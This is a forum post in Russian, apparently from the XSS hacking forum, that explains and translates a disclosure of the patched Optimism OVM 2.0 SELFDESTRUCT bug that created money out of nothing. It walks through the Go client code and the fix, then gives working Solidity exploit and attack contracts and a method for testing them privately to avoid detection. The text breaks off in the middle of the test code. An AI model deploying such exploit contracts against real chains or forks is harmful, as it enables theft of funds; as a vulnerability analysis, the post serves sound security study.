• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Исправления Optimism Infinite Money Duplication

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265

1655122640100.png

Резюме

2 февраля белый хакер Джей Фриман ( Saurik ), известный разработкой Cydia , сообщил о критической уязвимости в протоколе Optimism — решении для масштабирования Layer 2 (L2) для Ethereum. Сама ошибка позволила бы злоумышленнику непрерывно копировать деньги в любой цепочке, используя уязвимость, обнаруженную в OVM 2.0.
За это раскрытие проект выплатил полную критическую сумму, указанную на странице вознаграждения за обнаружение ошибок Immunefi для Optimism: 2 000 042 доллара!

OVM эквивалентна спецификации виртуальной машины Ethereum (EVM). Это означает, что Optimism почти идентичен Ethereum и имеет ту же учетную запись и структуру состояния. Другими словами, все операции на Optimism работают так же, как и на Ethereum, за некоторыми небольшими исключениями.

Ошибка была обнаружена в одной из реализаций части логики выполнения EVM, т. е. в опкоде, который позволил бы потенциальному злоумышленнику напечатать неограниченное количество денег. Затем эти деньги можно было бы перевести из Optimism в Ethereum, что позволило бы хакеру украсть большие суммы денег.

Финансовые последствия были явно критическими — отсюда и полная выплата от Optimism. Команда быстро выпустила исправление после получения отчета и ответственно сообщила об ошибке всем форкам Optimism, включая Metis на Immunefi.

Ошибка была довольно сложной для понимания и трудной для обнаружения, поэтому вероятность эксплуатации была низкой. Но если бы кто-нибудь обнаружил эту ошибку до того, как Саурик ответственно сообщил о ней, последствия были бы огромными.

Вот почему важно иметь ориентированное на безопасность мышление для проекта и протокола. Даже проверенный код может содержать ошибки. Программы вознаграждения за обнаружение ошибок — это последняя линия защиты от действий черных шляп, поскольку они поощряются крупными вознаграждениями за обнаружение ошибок, а не их использованием.

Чтобы лучше понять ошибку и понять, почему ее можно было использовать, нам сначала нужно объяснить, что такое L2 и что такое OVM 2.0.

Введение в L2

Текущая версия Ethereum имеет низкую пропускную способность транзакций и высокую задержку при обработке. Это означает, что транзакции являются медленными и непомерно дорогими из-за высокого спроса по сравнению с тем, что сеть может принять в любой момент времени.

Существует два основных типа решений масштабирования, предлагаемых для вышеуказанных проблем:

в цепочке относится к любым прямым изменениям, внесенным в цепочку блоков, таким как сегментация данных и сегментация выполнения в новой версии Ethereum 2.0.

вне цепочки относится к любым инновациям за пределами блокчейна, т. е. выполнение байт-кода транзакции происходит извне, а не в Ethereum. Эти решения называются L2, потому что уровень 2 работает над уровнем 1 (L1) (Ethereum) для оптимизации и ускорения обработки. Optimism — хорошо известный пример решения для масштабирования L2.

Optimism роллапы

Вместо того, чтобы выполнять и хранить все данные в Ethereum, где транзакции обрабатываются только с премией, мы решили хранить в Ethereum только сводку состояния L2. Это означает, что все фактические вычисления и хранение контрактов и данных выполняются на уровне L2. Таким образом, накопительные пакеты могут наследовать гарантии безопасности Ethereum, оставаясь при этом эффективным решением для масштабирования. Оптимистичные накопительные пакеты объединяют внебиржевые транзакции в пакеты (свертывают их), но они не содержат дополнительных доказательств, гарантирующих их достоверность. Эти пакеты «оптимистично» предполагают, что все транзакции действительны. Когда утверждения о состоянии L2 публикуются в цепочке, валидаторы пакетов могут оспорить утверждение, если они думают, что кто-то опубликовал неверное или злонамеренное состояние. Это называется «обнаружение мошенничества». Безопасность этой системы зависит от того, что валидатор размещает залог вместе со своим состоянием, которое аннулируется претендентом, если претендент может доказать, что состояние неверно.

Оптимизм

Optimism — это решение для масштабирования, основанное на концепции "optimistic rollups" что означает, что оно хранит сводку всех транзакций L2 в Ethereum. Оптимизм зависит от «доказательств ошибок», которые позволяют определить, является ли проверяемая транзакция неверной. Optimism обеспечивает отказоустойчивость с помощью OVM 2.0.

Прежде чем мы углубимся в OVM 2.0, важно понять разницу между выполнением и доказательством.

Выполнение означает продвижение состояния блокчейна путем выполнения транзакций внутри виртуальной машины. EVM имеет стековую архитектуру. Мы можем управлять стеком, используя коды операций , например ADD, SSTORE, MLOADи т. д. Когда смарт-контракты получают сообщение, запускается их байт-код EVM, что позволяет им обновлять свое состояние или даже отправлять дополнительные сообщения другим контрактам.

«Доказательство» — это просто действие по убеждению контрактов L1 в том, что состояние, полученное в результате выполнения некоторых транзакций, является правильным. Некоторые системы, основанные на EVM L1, полагаются на повторное выполнение спорного сегмента кода на L1 и сравнение результатов.

Подход Optimism к этому отличается от других решений масштабирования L2. Здесь выполнение и проверка выполняются вместе.

Если бы между Алисой и Бобом возник спор, рассматриваемая транзакция была бы повторно выполнена (воспроизведена) в цепочке L1. Но это создает некоторые потенциальные проблемы, поскольку мы не можем полагаться на то, что определенные коды операций возвращают одно и то же значение в цепочке L1 и цепочке L2. Некоторые из них, как BLOCKNUMBER, например, не будет давать такое же значение, потому что они полагаются на метаданные блокчейна или информацию с момента проверки ( а не с момента выполнения ).
Решение представляет собой механизм, который поможет сохранить контекст спорной транзакции на уровне L2 при ее проверке на уровне L1. Виртуальная машина Optimism (OVM 2.0) заменяет все контекстно-зависимые коды операций аналогами OVM, например ovmBLOCKNUMBER.
Как мы знаем, Optimism создал OVM 2.0, чтобы иметь эквивалент EVM с Ethereum. В этом отношении выполнение транзакции на Optimism похоже на выполнение транзакции на Ethereum: Optimism загружает состояние, применяет транзакцию к этому состоянию и записывает изменения состояния. Уровень транзакций данных индексирует каждый новый блок, и процесс повторяется.
Вместо этого OVM 1.0 решил хранить ETH в виде токенов ERC-20. Это вызвало некоторые проблемы у Optimism, так как сеть должна была поддерживать все, что работало на Ethereum, но было сломано из-за этого, например газовые токены. Когда OVM 2.0 был запущен, OVM 2.0 прекратил поддержку этой функции, но по-прежнему хранит все балансы для учетных записей пользователей в состоянии хранения контракта ERC-20. Компания Optimism модифицировала Geth , одну из трех исходных реализаций протокола Ethereum, для применения исправлений к StateDBдля хранения собственных балансов в состоянии хранения токенов ERC-20.
Это означает, что ETH по-прежнему представлен внутри как токен ERC-20 по адресу 0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000. Этот договор также называется OVM_ETH. В результате пользовательские балансы всегда будут нулевыми внутри дерева состояний (где Ethereum будет хранить баланс), а фактический баланс пользователя будет храниться в вышеупомянутом хранилище токена.
Флаг UsingOVM установлен с USING_OVM переменной окружения. Операции на StateDBкоторые влияют на баланс счета, затем перенаправляются с базового stateObject (который представляет отдельную учетную запись) в состояние хранения в OVM_ETH контракт, когда такой флаг оказывается активным.
Если вы хотите узнать больше о том, как именно работает Optimism, обратитесь к официальной документации Optimism. В этом обзоре также объясняется, как работают производство блоков и транзакции. Это стоит прочитать!

Уязвимость

Прежде чем мы углубимся в детали уязвимости, нам нужно понять одну последнюю вещь: SELFDESTRUCT опкод.

Эта команда вызывает самоуничтожение контракта с удалением его объекта учетной записи. Основное преимущество этой команды заключается в том, что она позволяет легко удалять огромное количество «устаревших» состояний из активного набора блокчейна.

SelfDestruct

Метод selfdestruct(address), который был переименован из suicide(address), уничтожает весь байт-код с адреса вызывающего контракта и переводит весь эфир на целевой адрес. Никакие функции (включая резервную) не вызываются, если целевой адрес также является контрактом.
Здесь важно отметить, что контракт (объект) уничтожается в конце транзакции, а это означает, что мы все еще можем выполнять операции с этим контрактом после вызова метода selfdestruct только если такие операции все еще находятся в той же транзакции.
После того, как selfdestruct был выполнен, оставшийся эфир, хранящийся по этому адресу, отправляется назначенной цели, а затем хранилище и код удаляются из состояния. Все вышеперечисленное обрабатывается клиентом Optimism, который является форком Geth . В реализации Optimism Geth мы можем найти кусок кода , который вызывает всю уязвимость.

1655122747400.png


Проблема заключается в изменении баланса счета после selfdestruct до 0.

stateObject.data.Balance = new(big.Int)

Проблема в том, что клиент Optimism обнуляет баланс непосредственно на stateObject вместо проверки UsingOVM и перенаправление модификации баланса на OVM_ETH контракт!Из-за этой ошибки, когда контракт selfdestructed, он передает баланс вызывающего контракта цели И попрежнему сохраняет исходный баланс. Мы модифицируем stateObject баланс и не обновляем собственные балансы в состоянии хранения токенов ERC20 ( OVM_ETH контракт)
Злоумышленник мог использовать эту ошибку для многократного увеличения баланса целевого контракта. selfdestructing который содержит эфир. После нескольких итераций злоумышленник может затем «обналичить» раздутый баланс эфира, тем самым создавая деньги из воздуха.

Вот пошаговое руководство, как это будет выглядеть:

  1. Создайте уязвимый контракт, содержащий две внутренние функции. Один с selfdestruct, а второй переводит остаток контракта вызывающей стороне. Функция с selfdestruct отправляет баланс контракта себе. Это завышает значение из-за ошибки в реализации Optimism Geth.
  2. Злоумышленник развертывает контракты и в конструкторе вызывает selfdestruct функция несколько раз в цикле
  3. После завершения цикла конструктор вызывает вторую внутреннюю функцию контракта для передачи завышенных средств злоумышленнику.
  4. Уязвимый контракт уничтожается в конце транзакции
Мы настоятельно рекомендуем прочитать сообщение в блоге Саурика о том, как он нашел ошибку, поскольку он глубоко погружается в историю уязвимостей Optimism. Он также показывает пример использования этой уязвимости.

Исправление уязвимости

Эта часть является переводом вот этой статьи.

Орхидея Наноплатежей, или как не запутаться в лианах

Что касается Orchid, то, хотя у меня нет официального/утвержденного титула, я «отвечаю за технологии». В частности, я реализовал все смарт-контракты Orchid, включая тот, который используется для «наноплатежей».
Хотя вдаваться в подробности об Orchid было бы отступлением, причина, по которой Orchid заботится об этом, заключается в том, что пользователи постепенно платят за доступ к сети крошечными платежами, плата за которые в противном случае была бы слишком высокой.
Наша интеграция наноплатежей, разработанная в первую очередь Дэвидом Саламоном, Джастином Шиком и мной, опирающаяся на работу, проделанную ранее Рональдом Л. Ривестом из Массачусетского технологического института и PepperCoin , амортизирует комиссии за транзакции для очень небольших переводов.
Хотя с течением времени наша система может амортизировать даже очень большие комиссии за транзакции, существуют побочные эффекты: размер платежей увеличивается, а количество платежей уменьшается, что приводит к более высокой дисперсии ожидаемого платежа по сравнению с фактическим.
Таким образом, Orchid интересно, когда люди создают новую, более дешевую технологию блокчейна, поскольку платежная инфраструктура Orchid по своей сути не привязана к какой-либо одной цепочке, и большая часть моей работы связана с изучением и оценкой новых вариантов.

Масштабирование уровня 2

Orchid — это, в некотором смысле, то, что можно назвать «решением масштабирования уровня 2» : платежная система, которая работает как экосистема поверх другой платежной системы. В нашем случае мы реализуем то, что я иногда называю «вероятностным сведением». Наша система наноплатежей, безусловно, не единственный уровень 2, и, будучи в основном вне сети с вероятностным расчетом, она даже не является прототипом. Тем не менее, люди часто спорят о том, какую именно другую систему можно «рассматривать». Наиболее часто упоминаемыми решениями уровня 2 являются такие системы, как Optimism или zkSync : каждая из них является прототипом «оптимистического свертывания» и «свертывания с нулевым разглашением» (соответственно). Виталик (из Ethereum) написал обзор роллапов .
Интересно, что цифра «2» на уровне 2 иногда немного произвольна: решения уровня 2, которые не включают в себя передачу линейных объемов состояния на нижележащий уровень 1, часто могут компоноваться или складываться, позволяя нашим наноплатежам работать на другом уровне 2.

Перекрёстные мосты


Многие из крупнейших взломов, о которых мы слышим в криптографии, происходят с «мостами», контрактами и протоколами, которые позволяют пользователям одного блокчейна работать с активами в другом блокчейне. Они часто необходимы даже между L2 и его L1. Поскольку обычно на самом деле невозможно быть уверенным в «окончательности» — свойстве, которое транзакция однажды и действительно зафиксировала и никогда не будет отменена по какой-либо причине — в системах консенсуса блокчейна эти мосты чреваты неотъемлемым риском. Часто, в конце концов, они даже полагаются на доверенных третьих лиц для авторизации «снятия средств» (аналогично банкам, но прежде чем вы попытаетесь заявить, что «боже, они заново изобрели банки»: возможность без разрешения создавать банк является особенностью).
Механизм обычно включает в себя внесение денег в заблокированный резерв на одной стороне моста, а затем печать долговой расписки на другой / удаленной стороне, которую можно обменять, а затем выкупить, чтобы разблокировать часть ранее депонированных денег из резерва.

Все мосты рушатся

Когда мосты подвергаются атаке, как правило, кому-то удавалось обмануть смарт-контракт, который удерживает кучу денег, поддерживающих долговые расписки, чтобы неправильно их освободить, а это означает, что долговые расписки на другой стороне моста могут быть не погашены.
В тот же день, когда я сообщил Optimism об ошибке виртуальной машины, обсуждаемой в этой статье, кроссчейн-мост под названием Wormhole , который соединяет Ethereum с Solana был взломан , и кто-то ушел с эфиром на сумму около 325 миллионов долларов.
Удивительно, компания, которой принадлежала Wormhole, сразу же решила взять на себя ответственность за проблему и возместила все деньги в резервы . В случае предыдущего взлома Poly Network хакеры вернули примерно 610 миллионов долларов Я утверждаю, что взломы мостов, как правило, быстро замечаются, поскольку люди, управляющие мостом, обычно замечают, когда исчезают «их деньги» (которые они, конечно, должны другим людям). Решение проблемы предполагает замену украденного капитала.

После взлома

Даже когда хакеры крадут деньги с моста, последствия ограничены тем, что «это только деньги»: если вы крадете наличные из хранилища банка, это, безусловно, проблема для них, и любое «спасение» может быть очень дорогостоящим для них. И все же банк должен быть благодарен за то, что его записи о счетах в безопасности: если бы они больше не были уверены, кому что принадлежит или какие переводы были законными, а клиенты требовали противоречивых исправлений, возникший спор мог бы никогда не закончиться.
Здесь мы даже можем рассмотреть идею «страховых полисов» от крипто-взломов , особенно учитывая, что многие из этих мостов являются полуцентрализованными и могут заранее «смягчить» взлом, устраняя проблемы до того, как они приведут к убыткам.
Такое воровство также имеет тенденцию быть, возможно, удивительно бесплодным, поскольку связанные кошельки заносятся в черный список различными биржами (что , как постулируют люди, вызовет проблемы в экосистеме в будущем, делая некоторые биткойны похожими на «кровавые алмазы» ).

Моя атака: необузданный оптимизм

Представленная здесь ошибка, которую я называю «необузданный оптимизм», может быть (грубо) смоделирована как ошибка на дальней стороне «моста», но на самом деле это ошибка в виртуальной машине, которая выполняет смарт-контракты на оптимизме (необузданном оптимизме) вышеупомянутый накопительный пакет L2).
Использование этого позволяет злоумышленнику получить доступ к фактически неограниченному количеству токенов (также известных как долговые расписки) на дальней стороне моста. Я утверждаю, что это более опасно, чем просто обманом заставить резервы позволить уйти. Благодаря возможности тайно печатать долговые расписки (известные на Optimism как OETH) на другой стороне моста, вы все еще можете попытаться (медленно) вывести деньги из резервов, но теперь это будет выглядеть как законный перевод, что упрощает остаться незамеченным.

И, если вы считаете, что «кто-то заметил бы, если бы общее количество долговых расписок отличалось от суммы денег, заблокированных в резервах», эта ошибка на самом деле была вызвана 40 дней назад — как я укажу позже — и никаких сигналов тревоги не было.

Максимальный профит

Кроме того, с вашим неограниченным запасом долговых расписок вы можете зайти на каждую децентрализованную биржу, работающую на L2, и возиться с их экономикой, скупая огромное количество других токенов и обесценивая собственную валюту сети. Используя свой доступ к бесконечному капиталу, вы можете дополнительно манипулировать оракулами ценообразования в сети, чтобы использовать их для других атак; и пока кто-то, наконец, не поймет, что ваши деньги фальшивые, арбитражер будут стекаться в сеть, чтобы продать вам свои активы.
Это делает эту ошибку способной к экономическим грифинговым атакам, в которых, как только кто-то замечает — даже если это всего через час! — может быть «слишком поздно» разгадывать, что является и что не является законной транзакцией, ставя под сомнение всю бухгалтерскую книгу.

Следующие несколько разделов включают в себя сочетание прожитой и изученной истории проекта «Оптимизм»… и я вполне допускаю, что где-то ошибся. Цель здесь состоит в том, чтобы настроить мое взаимодействие с проектом и то, как я обнаружил эту ошибку, поскольку я, по сути, пишу контент на уровне журнала о взломе программного обеспечения; P.

Камео Джорджа Хотца

В одном из моих любимых эпизодов «Оптимизма» есть камея Джорджа Хотца , хакера, который впервые разблокировал iPhone (а затем продолжал работать над взломом в течение многих лет, прежде чем перейти к работе над ИИ и послепродажными комплектами для автономного вождения ). Ранняя предпосылка Optimism заключалась в поддержке «неинтерактивных доказательств мошенничества» , в которых, если состояние L2, зафиксированное в L1, было «неверным», кто-то мог доказать это смарт-контрактам, работающим в системе, с помощью (дорогой) ончейн симулятор. Проблема заключалась в том, что для эффективной работы их модели Optimism не мог построить интерпретатор и вместо этого нуждался в «транспиляторе» , который заменял любую инструкцию, которая обращалась к состоянию блокчейна , вызовами функций в системных смарт-контрактах.

«geohot» (как его знают многие из нас) помог им, написав модификацию компилятора для Solidity — языка, который большинство людей использует для написания смарт-контрактов, — который позволил бы людям быстро генерировать код контракта, совместимый с OVM.

OVM 1.0 использует OVM_ETH ERC20.

Проблема в том, что эта стратегия была совместима только на уровне исходного кода Solidity и не могла выполнять существующие контракты, уже скомпилированные для виртуальной машины Ethereum . Даже когда они работали над исправлением этого для первого реального выпуска своего «OVM», оставался «исторический багаж», который оставался как в коде, так и в умах экосистемы, который подтолкнул проект к дальнейшей несовместимости с EVM. Я закончил — как это часто бывает с чат-серверами :/ — в споре со случайным пользователем, который вел себя чрезвычайно авторитетно (вплоть до того, что я начал моделировать его как ключевого разработчика), что на самом деле это было отличное дизайнерское решение. Несмотря на это, усилия Orchid по созданию нескольких цепочек принципиально требуют, чтобы один и тот же код можно было развернуть в каждой сети, поэтому список поддерживаемых цепочек может быть «без разрешений» и зависеть от пользовательской экосистемы, что вынуждает меня отказаться от оптимизма.

EVM "Эквивалентность"

Конечно, год спустя стало ясно, что несовместимость с существующими смарт-контрактами и инструментами разработчика на самом деле является серьезной проблемой ; и, таким образом, проект Optimism начал работу над тем, что они назвали «эквивалентностью EVM» . Это обновление, получившее название OVM 2.0, представляло большой интерес для моей работы над Orchid, поскольку оно означало, что новая многоцепочечная платформа наноплатежей, к которой я нас подталкивал, наконец-то может быть развернута. Таким образом, я вернулся к оптимизму. При работе с новой цепочкой первое, что я обычно делаю, — это запускаю быстрый модульный тест функциональности, на которую я либо полагаюсь, либо предпочитаю (своего рода набор тестов, который обнаружил ошибки в многочисленных цепочках, о которых я сообщал за последний год). Сразу же я столкнулся с запутанной проблемой с Optimism: состояние учетной записи — как криптографически проверяемое из блока «корень состояния» — каким-то образом отсутствовало баланс учетной записи (который вместо этого всегда был равен 0). Я написал об этом ошибку .

OVM_ETH продолжает жить в OVM 2.0

Ответ на мой отчет об ошибке меня несколько шокировал: оказалось, что OVM 2.0 продолжал хранить все балансы для учетных записей пользователей в состоянии хранения контракта ERC20, и у них было активное обсуждение , стоит ли удалять этот . Тем не менее, это стало постоянным «бельмом на глазу», когда я начал работать над другим моим проектом в прошлом месяце или около того: чрезвычайно педантичным и сильно индексированным обозревателем блоков, который анализирует каждое обновление состояния всей EVM. Между тем, что временные метки Optimism датированы задним числом (что-то они исправили ) или даже немонотонны, и тем, как они продолжают перезагружать свою цепочку , Optimism заставил меня потратить непропорционально много времени, чувствуя ... «пессимистично»; P.

StateDB с использованием перенаправления OVM

То, как это «хранение собственных балансов в состоянии хранения токенов ERC20» реализовано в кодовой базе, представляет собой набор исправлений для StateDB go-ethereum, код, который поддерживает в памяти буфер ожидающих/грязных объектов учетной записи для сброса в диск. То, как Эфириум хранит это состояние — и структуру данных дерева состояний, которую он использует, чтобы обеспечить эффективную криптографическую проверку отобранных данных — является одной из наиболее интересных и полезных частей дизайна протокола ; вот еще одна ссылка . Флаг UsingOVM устанавливается с помощью переменной среды USING_OVM (насколько я знаю, без соответствующего флага командной строки; что вам нужно установить эту переменную среды при инициализации блока генезиса, я слишком долго разбирался; P).
Операции в StateDB, влияющие на баланс учетной записи, затем перенаправляются из базового объекта stateObject (который представляет отдельную кэшированную учетную запись) в состояние хранения в контракте OVM_ETH. Ниже приведен код для state.StateDB.SetBalance.

ПРИМЕЧАНИЕ . Я сильно переформатирую и даже немного «редактирую» фрагменты кода, чтобы сделать их более узкими, короткими и менее плотными. Если вы взглянете на настоящий код, не удивляйтесь, если он не будет выглядеть точно так же, как моя презентация ;P.

Код:
func (s *StateDB) SetBalance(
    addr common.Address, amount *big.Int
) {
    if rcfg.UsingOVM {
        key := GetOVMBalanceKey(addr)
        value := common.BigToHash(amount)
        s.SetState(dump.OvmEthAddress, key, value)
    } else {
        stateObject := s.GetOrNewStateObject(addr)
        if stateObject != nil {
            stateObject.SetBalance(amount)
        }
    }
}

На самом деле уже происходит кое-что интересное: s.GetOrNewStateObject имеет наблюдаемый побочный эффект; но при использовании OVM это не происходит. Это означает, что учетная запись может владеть собственной валютой без объекта учетной записи! Точная проблема здесь заключается в том, что контракты могут запрашивать хэш-код других учетных записей (который иногда используется для проверки их надежного поведения). Если у учетной записи нет кода, ее код равен "", поэтому ее кодовый хеш — это хэш пустого буфера. Однако, если вы запросите хэш-код адреса, который в настоящее время не поддерживается объектом в дереве состояний, хэш-код, который вы получите в ответ, будет нулевым. Этот наблюдаемый эффект является примером тонкой несовместимости, которую постоянно испытывает оптимизм. Если бы это был мой проект, я бы определенно отказался от всего давным-давно — до OVM 2.0 — чтобы расставить приоритеты по удалению этого набора исправлений, исправив GetOVMBalanceKey для хранения прообразов хэшей, повторно выполнив цепочку, а затем заменив дерево состояния.

Почему он всегда selfDestruct?!

Одной из наиболее «проблемных» инструкций виртуальной машины Ethereum является SELFDESTRUCT, которая восходит к исходному дизайну. (Для ясности: раньше эта инструкция называлась SUICIDE, но код , который мы будем читать, никогда не переименовывался.)
Эта инструкция позволяет контракту уничтожить себя, удалив свой объект учетной записи. Основное преимущество этой инструкции заключается в том, что она позволяет быстро удалить потенциально большое количество «устаревших» состояний из активного набора блокчейна.
С другой стороны, что делает эту инструкцию «проблемной» (помимо ее вызывающего имя ), так это то, что она позволяет ОЧЕНЬ БЫСТРО очищать потенциально БОЛЬШОЕ количество состояний, требуя, чтобы виртуальная машина выполняла произвольный объем работы атомарно.
Кроме того, известно, что эта инструкция постоянно вызывает крайние случаи в новых функциях EVM, и поэтому ей часто угрожали некоторой формой удаления (например, запретом в новых контрактах или удалением большей части ее функциональности ).

Как работает selfDestruct

Когда контракт попадает в инструкцию SELFDESTRUCT, он назначает «бенефициара» для получения любых средств, которыми он все еще владеет. Реализация этого кода операции в EVM go-ethereum добавляет баланс получателю, а затем вызывает StateDB.Suicide.

Код:
func opSuicide(
    pc *uint64, interpreter *EVMInterpreter,
    contract *Contract, memory *Memory, stack *Stack
) ([]byte, error) {
    state := interpreter.evm.StateDB

    beneficiary := common.BigToAddress(stack.pop())
    balance := state.GetBalance(contract.Address())
    state.AddBalance(beneficiary, balance)

    state.Suicide(contract.Address())

    return nil, nil
}

Затем реализация StateDB.Suicide сбрасывает баланс учетной записи обратно до 0. К сожалению, она делает это, не используя ни сеттер setBalance для stateObject, ни общую константу common.Big0.

Код:
func (s *StateDB) Suicide(addr common.Address) bool {
    stateObject := s.getStateObject(addr)
    if stateObject == nil { return false }

    stateObject.markSuicided()

    stateObject.data.Balance = new(big.Int)
    // aka stateObject.setBalance(common.Big0)

    return true
}

StateDB.Suicide, в свою очередь, вызывает stateObject.markSuicided, который ничего не делает, кроме установки логического значения объекта в true. Важно отметить, что это означает, что контракт на данный момент ВСЕ ЕЩЕ СУЩЕСТВУЕТ и по-прежнему имеет код, который у него был раньше!

Код:
func (s *stateObject) markSuicided() {
    s.suicided = true
}

Ожидает удаления

Возникает вопрос: как объект вообще уничтожается? Ответ заключается в том, что это откладывается до конца транзакции, когда вызывается StateDB.Finalise и все объекты самоубийственных грязных учетных записей помечаются как удаленные.

Код:
func (s *StateDB) Finalise() {
    for addr := range s.journal.dirties {
        obj, exist := s.stateObjects[addr]
        if !exist { continue }

        if obj.suicided || obj.empty() {
            obj.deleted = true
        } else {
            obj.finalise()
        }
    }

    s.clearJournalAndRefund()
}

В качестве дополнительной оптимизации фактический объект учетной записи не удаляется по-настоящему до тех пор, пока в следующий раз не потребуется вычислить корневой хеш состояния, поскольку все изменения в дереве меркла могут быть сделаны и зафиксированы одновременно. Это не так. актуально, однако.

Код:
func (s *StateDB) IntermediateRoot() common.Hash {
    s.Finalise()

    for addr := range s.stateObjectsPending {
        obj := s.stateObjects[addr]
        if obj.deleted {
            s.deleteStateObject(obj)
        } else {
            obj.updateRoot(s.db)
            s.updateStateObject(obj)
        }
    }

    return s.trie.Hash()
}

Настоящая ошибка

К этому моменту мы фактически "прошли мимо" критической ошибки... Вы ее заметили? ;P Код для Suicide по-прежнему напрямую изменяет поле data.Balance объекта stateObject вместо проверки UsingOVM и перенаправления этой модификации в OVM_ETH.
Это означает, что, когда контракт самоуничтожается, его баланс ОБА передается бенефициару, И ТАКЖЕ СОХРАНЯЕТСЯ. Если в контракте было 10 OETH, 10 OETH СОЗДАЮТСЯ из тонких битов и передаются бенефициару.
Когда Optimism исправила эту ошибку — как часть PR # 2146 (который слегка скрыл это обновление в куче других обновлений, чтобы дать время неизвестным форкам для обновления своего кода) — они добавили следующую логику в opSuicide (в частности, не в StateDB.Suicide ).

Код:
if rcfg.UsingOVM && interpreter.evm.chainConfig
    .IsSelfDestructInflation(interpreter.evm.BlockNumber)
{
    state.SubBalance(contract.Address(), balance)
}

Насколько я могу судить, причина, по которой им нужно было поместить этот код в opSuicide, который отделяет его от другой логики, которая напрямую очищает поле баланса, а также все другие переопределения с использованием OVM, заключается в том, что они могут получить доступ к chainConfig. .
Это важно, потому что в коде по-прежнему необходимо реализовать неправильное поведение, чтобы он мог синхронизировать все исторические состояния, некоторые из которых фактически устраняют эту ошибку (без ее эксплуатации). Они решили, что блок 3135900 будет отсечением.

Код:
// OpMainnetSelfDestructForkNum is the height at which the
// suicide inflation bug hardfork activates on OP mainnet.
OpMainnetSelfDestructForkNum = big.NewInt(3135900)

Было ли это использовано?

Один из вопросов, на который мы часто хотим ответить, звучит так: «Кто-нибудь уже использовал эксплойт, используя эту ошибку?». Чтобы ответить на этот вопрос, я настроил код OVM 2.0 так, чтобы он регистрировал каждый раз, когда транзакция уничтожала контракт с балансом.
Поскольку SELFDESTRUCT уже является редким кодом операции, и даже тогда это подмножество всех применений SELFDESTRUCT — и, кроме того, поскольку OVM 2.0 был выпущен всего три месяца назад — был только один пользователь, который когда-либо пробовал это: в канун Рождества ( 2021) .
В этих транзакциях (как показано в обозревателе блоков Optimism, размещенном на Etherscan) мы видим, как пользователь создает и уничтожает три контракта. Первые два раза бенефициаром контракта является адрес 0x0, а в третий раз — сам пользователь.
Откровенно говоря, казалось, что кто-то заметил ошибку — увидел, что Etherscan оставил баланс на месте после уничтожения контракта — и даже немного поиграл с ней (чтобы увидеть, было ли это поведением 0x0)… но не понял. это можно было использовать.
Мне действительно удалось разыскать этого пользователя (!!), и оказалось, что он работает на Etherscan ;P. Это просто показывает, что иногда даже люди, которые смотрят непосредственно на ошибку, не всегда видят косвенные последствия для безопасности.
У меня лично не было времени убедиться, что это никогда не срабатывало на двух известных мне ответвлениях Optimism: Boba и Metis. Я чувствую, что кто-то другой, возможно, уже проверил и сказал мне, и я также чувствую, что это, вероятно, несколько маловероятно (учитывая отсутствие использования на Оптимизме), но я не могу точно сказать, так или иначе в это время.

Concrete Exploit

Что подводит нас к самой интересной части: практическому изучению использования этой ошибки. Для этого нам нужно написать контракт (в Solidity), который мы можем развернуть/финансировать и на котором мы можем вызвать SELFDESTRUCT, реплицируя деньги, которые он держит. Поскольку контракт продолжает существовать до конца транзакции, и мы хотим как можно быстрее воспроизвести деньги (путем накопления нашего дохода), мы устанавливаем сам контракт в качестве бенефициара. Таким образом, каждый призыв к уничтожению удваивает его средства. Чтобы позволить контракту быть профинансированным в первую очередь, мы должны добавить оплачиваемый конструктор. Наконец, мы добавляем метод, который позволяет нам вернуть деньги из контракта (первоначально я использовал самоуничтожение, но передача чище).

Код:
pragma solidity 0.7.6;

contract Exploit {
    constructor() payable {}

    function destroy() public {
        selfdestruct(payable(address(this)));
    }

    function take() public {
        msg.sender.transfer(address(this).balance);
    }
}

Чтобы управлять этой атакой, нам нужен другой контракт, который создает экземпляр этого контракта, вызывает в цикле destroy, а затем вызывает take. Я решил поместить эту логику в конструктор контракта, чтобы его можно было создать и выполнить за одну транзакцию.

Код:
contract Attack {
    constructor(uint count) payable {
        Exploit exploit = new Exploit{value: msg.value}();
        for (; count != 0; --count)
            exploit.destroy();
        exploit.take();
        msg.sender.transfer(address(this).balance);
    }

    receive() external payable {}
}

Так как этот контракт будет получать средства от контракта Exploit, который он создает, ему нужна платная реализация receive() (поскольку в противном случае контракт отклонит любую попытку дать ему деньги с помощью перевода; в частности, самоуничтожение обойдёт это!).

Простое тестирование

Хотя один из способов протестировать этот эксплойт — запустить его, это не только может впоследствии вызвать проблемы с гарантией того, что состояние по-прежнему законно, но и потенциально может натолкнуть других людей, наблюдающих за блокчейном, на попытку украсть наш эксплойт.
Это может показаться надуманным, но на самом деле это довольно распространено и сильно автоматизировано: в этом случае наш эксплойт настолько «подключи и работай», что если кто-то просто смоделирует его запуск самостоятельно, он станет бенефициаром.
Хотя я оставлю попытки создания более запутанных эксплойтов в качестве «упражнения для читателя», по крайней мере, вам нужен способ проверить поведение вашего эксплойта во время его разработки, и поэтому нам нужен простой способ имитации выполнения инструкций.
В этот момент кто-то может предложить готовый тест-драйвер, такой как Ganache, но в нем не будет этой ошибки. Мы могли бы дать ему ошибку, но это работа. Мы могли бы запустить собственный локальный форк Optimism с секвенсором, но это тоже работа.
Вместо этого нам нужен способ использовать «обычный» полный узел Optimism — предпочтительно тот, который мы запускаем сами (поскольку мы говорим об очень серьезном эксплойте), хотя для нашего исследования общедоступные конечные точки будут работать очень хорошо! наш подвиг.

Переопределение состояния eth_call

Решением является метод JSON/RPC eth_call. Теперь я понял: "eth_call очевиден, я знаю о eth_call". (Если вы этого не сделаете: eth_call — это метод, предоставляемый узлами Ethereum, который позволяет вам спекулятивно запускать экспортированные функции Solidity.)
Однако на самом деле это не так очевидно: если вы читаете документацию по eth_call , она позволит нам запускать код, который уже развернут в блокчейне, чего мы действительно хотим избежать любой ценой, чтобы кто-нибудь не заметил наш эксплойт. .
Хитрость заключается в том, что go-ethereum — наиболее часто используемая реализация EVM — дополнительно поддерживает «переопределение состояния» на eth_call , что позволяет нам создавать гипотетические среды выполнения, изменяя код или баланс учетной записи.
Таким образом, наша стратегия будет заключаться в разработке крошечного контракта, который запишет все необходимые нам действия (создание экземпляра и финансирование атаки), а затем вернет любую информацию, которая нам нужна, чтобы увидеть, работает ли наш код (в данном случае, наш окончательный баланс).

Код:
contract Test {
    function test() public payable returns (uint256) {
        new Attack{value: msg.value}(1);
        return address(this).balance;
    }

